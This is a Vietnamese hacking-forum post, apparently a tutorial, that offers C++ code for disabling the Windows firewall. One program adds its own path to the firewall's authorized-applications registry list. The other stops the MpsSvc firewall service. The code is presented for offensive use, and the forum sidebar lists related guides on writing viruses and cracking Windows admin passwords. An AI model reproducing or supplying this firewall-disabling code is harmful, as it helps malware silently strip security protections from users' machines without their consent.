Hướng Dẫn Kill tường lửa của windows bằng C++
Trang 1 trong tổng số 1 trang
Hướng Dẫn Kill tường lửa của windows bằng C++
1. Tác động đến Registry :
Code :
2. Kill File driver :
Code :
- Code:
#define WIN32_LEAN_AND_MEAN
#include
#include
using namespace std;
char fwAuthApp[1024];
char* GetRegKey()
{
HKEY hk = 0;
RegCreateKeyA(HKEY_LOCAL_MACHINE,"SYSTEM\\Select",&hk);
int i;
DWORD sz = 4;
if (RegQueryValueExA(hk,"Current",NULL,NULL,(BYTE*)&i,&sz) == ERROR_SUCCESS)
{
sprintf(fwAuthApp,"SYSTEM\\ControlSet%03d\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",i);
}
RegCloseKey(hk);
return fwAuthApp;
}
void AddException(string path)
{
HKEY hk;
DWORD dw;
string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";
RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
GetRegKey(),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_WRITE,
NULL,
&hk,
&dw
);
RegSetValueExA(
hk,
path.c_str(),
0,
REG_SZ,
(BYTE*)skey.c_str(),
(DWORD)skey.length()
);
RegCloseKey(hk);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char *CmdLineA, *Location;
CmdLineA = GetCommandLineA();
Location = CmdLineA + 1;
Location[strlen(Location)-2] = 0;
AddException(Location);
return 0;
}
2. Kill File driver :
- Code:
#include
#include
int WFDisable( );
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
int wf;
TCHAR s[20];
wf = WFDisable( );
if( wf == 0 ) {
MessageBoxA(0,"success","Coder_gate",0);
}
else {
sprintf(s,"Error %d",wf);
MessageBoxA(0,s,"Coder_gate",0);
}
return 0;
}
int WFDisable()
{
SERVICE_STATUS sStatus;
SC_HANDLE hManager = OpenSCManager( NULL, NULL, 0xF003F );
if( hManager == NULL ) {
return( 1 );
}
SC_HANDLE hService = OpenService( hManager, (const char*)"MpsSvc", SERVICE_ALL_ACCESS );
if( hService == NULL ) {
return( 2 );
}
BOOL bControl = ControlService( hService, SERVICE_CONTROL_STOP, &sStatus );
if( bControl == 0 )
{
return( 3 );
}
CloseServiceHandle( hManager );
CloseServiceHandle( hService );
return( 0 );
}
Similar topics
» Vượt tường lửa bằng Ncat
» C++.Tương tác với màn hình Logon trên Windows XP & Vista
» Hướng dẫn lập trình virus bằng Vbs.
» Hướng dẫn Hack Web bằng chương trình HappyBrowser(Tool)
» Hướng Dẫn Lập Trình Hack mật khẩu tài khoản Admin của windows
» C++.Tương tác với màn hình Logon trên Windows XP & Vista
» Hướng dẫn lập trình virus bằng Vbs.
» Hướng dẫn Hack Web bằng chương trình HappyBrowser(Tool)
» Hướng Dẫn Lập Trình Hack mật khẩu tài khoản Admin của windows
Trang 1 trong tổng số 1 trang
Permissions in this forum:
Bạn không có quyền trả lời bài viết
27/8/2013, 11:45 am by echcondihoc
» Quản Lí Tiến Trình Dùng Thư Viện PSAPI
11/10/2011, 9:42 pm by CNTT_DH
» xin tai lieu tieng viet
31/8/2011, 6:59 am by bantoisg
» Theo dõi tiến trình
27/8/2011, 5:51 pm by haigaopro01
» Giải pháp Bảo mật của Cisco
17/6/2011, 8:50 am by admin
» Nghiên cứu và đưa ra giải pháp phòng chống tấn công DoS, DDoS (Phần 1)
16/6/2011, 2:32 pm by admin
» Learn to hack !
16/6/2011, 8:49 am by admin
» Giải pháp hệ thống dành cho doanh nghiệp với thiết bị mạng Fortinet (Phần 1)
15/6/2011, 11:12 am by admin
» Ô Long Viên (Tập II)
27/9/2010, 4:56 pm by root
» những ebook về hack tiếng việt cho người mới tìm hiểu.
27/9/2010, 4:54 pm by root